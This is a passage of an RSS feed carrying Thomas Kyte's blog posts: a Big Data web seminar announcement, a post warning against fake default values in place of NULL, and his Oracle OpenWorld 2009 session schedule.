			<wfw:commentRss>http://www.oracle-base.com/aggregator/2012/02/02/all-about-security-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="" length="" type="" />
		</item>
		<item>
		<title>Big Data&#8230;</title>
		<link>http://tkyte.blogspot.com/2012/02/big-data.html</link>
		<comments>http://tkyte.blogspot.com/2012/02/big-data.html#comments</comments>
		<pubDate>Thu, 02 Feb 2012 20:01:46 +0000</pubDate>
		<dc:creator>Thomas Kyte</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.oracle-base.com/aggregator/?guid=c8b5b8e51253fc3f95b7d0c1e1cb932d</guid>
		<description><![CDATA[I'll be doing a web seminar on Big Data on February 16th at 10am Pacific Time. &#160;Here is the info:Big Data Essentials: What You Need to Know, February 16th, 10:00 am – 1:30 pm PTBig data is big news these days. But you don’t base IT investment ...]]></description>
			<content:encoded><![CDATA[I'll be doing a web seminar on Big Data on February 16th at 10am Pacific Time. &nbsp;Here is the info:<br /><br /><br /><b>Big Data Essentials: What You Need to Know, February 16th, 10:00 am – 1:30 pm PT</b><br /><br />Big data is big news these days. But you don’t base IT investment decisions on magazine headlines.<br /><br />Join us for the Big Data Online Forum to learn the essentials of big data—from the technology underlying it to real-world use cases. Oracle’s Tom Kyte, Cloudera CEO Mike Olson, and other industry thought leaders will be on hand to explain how big data can deliver revolutionary insight and competitive advantage.<br /><br />You’ll get answers to tough questions surrounding big data, including:<br /><br /><ul><li>&nbsp; &nbsp; What business insight can big data uncover?</li><li>&nbsp; &nbsp; How do you manage big data?</li><li>&nbsp; &nbsp; How do you integrate big data into decision-making?</li></ul><br />Register today for this half-day online event featuring live Q&amp;A with big data experts.<br /><br /><a href="http://www.oracle.com/goto/bigdata">www.oracle.com/goto/bigdata</a><br /><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7170583780096674501?l=tkyte.blogspot.com' alt='' /></div>]]></content:encoded>
			<wfw:commentRss>http://www.oracle-base.com/aggregator/2012/02/02/big-data/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Back from Oracle OpenWorld</title>
		<link>http://tkyte.blogspot.com/2009/10/back-from-oracle-openworld.html</link>
		<comments>http://tkyte.blogspot.com/2009/10/back-from-oracle-openworld.html#comments</comments>
		<pubDate>Wed, 21 Oct 2009 14:16:50 +0000</pubDate>
		<dc:creator>Thomas Kyte</dc:creator>
		
		<guid isPermaLink="false"></guid>
		<description><![CDATA[I am back and have been taking a set of new questions on asktom.  Last week was a busy one out in California and I'm finally getting caught up on emails and questions (100% on the former, still working on the latter)Anyway, I saw an article and it made...]]></description>
			<content:encoded><![CDATA[I am back and have been taking a set of new questions on asktom.  Last week was a busy one out in California and I'm finally getting caught up on emails and questions (100% on the former, still working on the latter)<br /><br />Anyway, I saw an article and it made me laugh - and sort of cry at the same time.  It has to do with the use of default values.  A lot of developers/DBAs have a very certain fear (that is the best word I can think of to describe their attitude) of NULL - the 'unknown' value.  So, instead of using NULL for an effective_end_date field (for records that we don't know the end date for, they don't have one) or using NULL for values they do not know the value of - they use some 'fake' value.  This fake value is assumed to be a value that could never possibly be used.<br /><br />But....<br /><br />Things change over time.<br /><br /><br />I'm sure when the developers implemented<a href="http://hosted.ap.org/dynamic/stories/U/US_ODD_VANITY_PLATE_SNAFU?SITE=AP&amp;SECTION=HOME&amp;TEMPLATE=DEFAULT&amp;CTIME=2009-10-16-21-10-55"> this system</a> - using XXXXXXX for a license plate value that was unknown seemed 'reasonable'.  I mean - who would ever ask for a vanity plate with seven X's on them?<br /><br />Talk to the guy with almost $20k in fines that aren't his to see if he might know someone that might want a vanity plate with XXXXXXX on it :)<br /><br />Do not fear NULL.<br /><br />Understand it, but don't fear it.<br /><br /><a href="http://tkyte.blogspot.com/2006/01/something-about-nothing.html">http://tkyte.blogspot.com/2006/01/something-about-nothing.html</a><br /><a href="http://tkyte.blogspot.com/2006/01/mull-about-null.html">http://tkyte.blogspot.com/2006/01/mull-about-null.html</a><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-3470983886445129697?l=tkyte.blogspot.com' alt='' /></div>]]></content:encoded>
			<wfw:commentRss>http://www.oracle-base.com/aggregator/2009/10/21/back-from-oracle-openworld/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Off to Oracle OpenWorld</title>
		<link>http://tkyte.blogspot.com/2009/10/off-to-oracle-openworld.html</link>
		<comments>http://tkyte.blogspot.com/2009/10/off-to-oracle-openworld.html#comments</comments>
		<pubDate>Fri, 09 Oct 2009 20:44:05 +0000</pubDate>
		<dc:creator>Thomas Kyte</dc:creator>
		
		<guid isPermaLink="false"></guid>
		<description><![CDATA[I've been a bit busy with things recently - getting ready for Oracle OpenWorld in particular.  I haven't been able to pay as much attention to asktom as I normally do - that'll change the week after OpenWorld (I'll be taking questions again that week -...]]></description>
			<content:encoded><![CDATA[I've been a bit busy with things recently - getting ready for Oracle OpenWorld in particular.  I haven't been able to pay as much attention to asktom as I normally do - that'll change the week after OpenWorld (I'll be taking questions again that week - until then, probably not)<br /><br />ID#: S312577<br />Title: Keynote: Oracle Develop "What Are We Still Doing Wrong"<br />Track: Oracle Develop: Database<br />Date: 11-OCT-09<br />Time: 09:00 - 10:00<br />Venue: Hilton Hotel<br />Room: Grand Ballroom B<br /><br />ID#: S311235<br />Title: All About Metadata: Why Telling the Database About Your Schema Matters<br />Track: Oracle Develop: Database<br />Date: 12-OCT-09<br />Time: 11:30 - 12:30<br />Venue: Hilton Hotel<br />Room: Imperial Ballroom B<br /><br />ID#: S311322<br />Title: DBA 2.0: Battle of the DBAs Revisited<br />Track: Database<br />Date: 12-OCT-09<br />Time: 17:30 - 18:30<br />Venue: Moscone South<br />Room: Room 103<br /><br />ID#: S311234<br />Title: The top 10 - No, 11 - New Features of Oracle Database 11g Release 2<br />Track: Database<br />Date: 13-OCT-09<br />Time: 17:30 - 18:30<br />Venue: Moscone South<br />Room: Room 103<br /><br />ID#: S311236<br />Title: Efficient PL/SQL: Why and How to Use PL/SQL to Its Greatest Effect<br />Track: Database<br />Date: 14-OCT-09<br />Time: 17:00 - 18:00<br />Venue: Moscone South<br />Room: Room 103<br /><br /><br />I'll be in the OTN lounge on Wednesday from 12:45pm till 1:30pm with hte "<a href="http://www.oracle.com/technology/events/oracle-openworld/index.html">Heavy Hitters</a>" program.  Anyone is free to attend that session.<br /><br /><br />Also, I'll be in the database demo grounds in Moscone West - in the middle of the demo area.  It'll say "database overview" in big letters on top and "Oracle Database 11g Release 2" underneath.  I'll be manning a station there on Tuesday from 10:30am till 11:30 am and on Wednesday from 9am till 10:15am<br /><br />Looking forward to OpenWorld - both the beginning and the end :) It'll be nice to get back home after a week at a conference.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7033527246173408146?l=tkyte.blogspot.com' alt='' /></div>]]></content:encoded>
			<wfw:commentRss>http://www.oracle-base.com/aggregator/2009/10/09/off-to-oracle-openworld/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

